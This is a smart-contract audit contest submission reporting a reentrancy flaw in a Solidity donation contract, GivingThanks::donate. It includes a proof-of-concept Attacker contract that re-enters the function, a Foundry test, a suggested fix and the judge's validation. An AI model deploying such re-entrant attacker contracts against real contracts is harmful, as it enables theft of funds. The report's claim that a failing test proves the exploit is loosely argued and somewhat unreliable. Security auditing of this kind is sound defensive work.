GivingThanks

First Flight #28
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: medium
Valid

[H-3] Potential Reentrancy Vulnerability in `GivingThanks::donate`, state change occurs after external call.

Description:

The GivingThanks::donate function transfers Ether to the charity address before minting and setting the token URI. This sequence introduces a potential reentrancy vulnerability where a malicious charity contract could re-enter the donate function and manipulate the state.

Impact:

If GivingThanks::donate exploited, this vulnerability could lead to inconsistencies in the contract’s state, such as token counter manipulation or unauthorized access.

Proof Of Code:

This test involves deploying a malicious Attacker contract that re-enters the donate function during the Ether transfer.

  1. First, we define an Attacker contract that will exploit the reentrancy vulnerability by calling donate again within its fallback function.

    contract Attacker{
    GivingThanks public givingThanks;
    address public owner;
    uint256 public attackCount;
    constructor(address _givingThanks){
    givingThanks=GivingThanks(_givingThanks);
    owner=msg.sender;
    attackCount=0;
    }
    receive() external payable{
    if(attackCount<1){
    attackCount+=1;
    givingThanks.donate{value:1 ether}(address(this));
    }
    }
    function attack() external payable{
    require(msg.value>=1 ether,"Need at least 1 Ether");
    givingThanks.donate{value:1 ether}(address(this));
    }
    function withdraw()external{
    require(msg.sender==owner,"Only Owner can withdraw");
    payable(owner).transfer(address(this).balance);
    }
    }
  2. Now, we create a test function to deploy the Attacker, set up the scenario, and execute the attack.

    function test_ReentrancyInDonate()public{
    registryContract = new CharityRegistry();
    charityContract= new GivingThanks(address(registryContract));
    registryContract.registerCharity(charity);
    attacker = new Attacker(address(charityContract));
    registryContract.registerCharity(address(attacker));
    vm.deal(address(this),2 ether);
    charityContract.donate{value:2 ether}(address(charity));
    uint256 initialAttackerBalance = address(attacker).balance;
    vm.prank(address(attacker));
    attacker.attack{value:1 ether}();
    uint256 finalAttackerBalance = address(attacker).balance;
    assertGt(finalAttackerBalance,initialAttackerBalance+1 ether,"Reentrancy Attack failed!");
    assertEq(charityContract.tokenCounter(),2,"Token counter not incremented");
    }

After running this test, the test case will FAIL which shows that reentrancy can manipulate the GivingThanks::donate flow, causing unintended reverts. In practice, this means an attacker could exploit this vulnerability to interfere with the contract’s operations or even drain funds in real deployments.

Tools Used:

Foundry

Recommended Mitigation:

  1. Implement the Checks-Effects-Interactions Pattern: Ensure that all state updates occur before any external calls to prevent reentrancy.

  2. Add a Reentrancy Guard: Apply the nonReentrant modifier ReentrancyGuard to prevent multiple simultaneous calls to donate.

  3. The event gets emitted when a user calls the donate function.

function donate(address charity) public payable nonReentrant {
require(registry.isVerified(charity), "Charity not verified");
// Checks-Effects-Interactions Pattern
uint256 tokenId = tokenCounter;
tokenCounter += 1; // Effects: Update state before external interactions
(bool sent, ) = charity.call{value: msg.value}("");
require(sent, "Failed to send Ether");
_mint(msg.sender, tokenId);
// Create metadata for the tokenURI
string memory uri = _createTokenURI(msg.sender, block.timestamp, msg.value);
_setTokenURI(tokenId, uri);
emit Donation(msg.sender, charity, msg.value, tokenId); // Emit event
}
Updates

Lead Judging Commences

n0kto Lead Judge 8 months ago
Submission Judgement Published
Validated
Assigned finding tags:

finding-donate-reentrancy-multiple-NFT-minted

Impact: High, one charity can reenter the donate function with the same ETH provided and mint several NFT. Likelyhood: Low, any malicious charity can do it but Admin is trusted and should verify the charity contract before "verifying" it.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.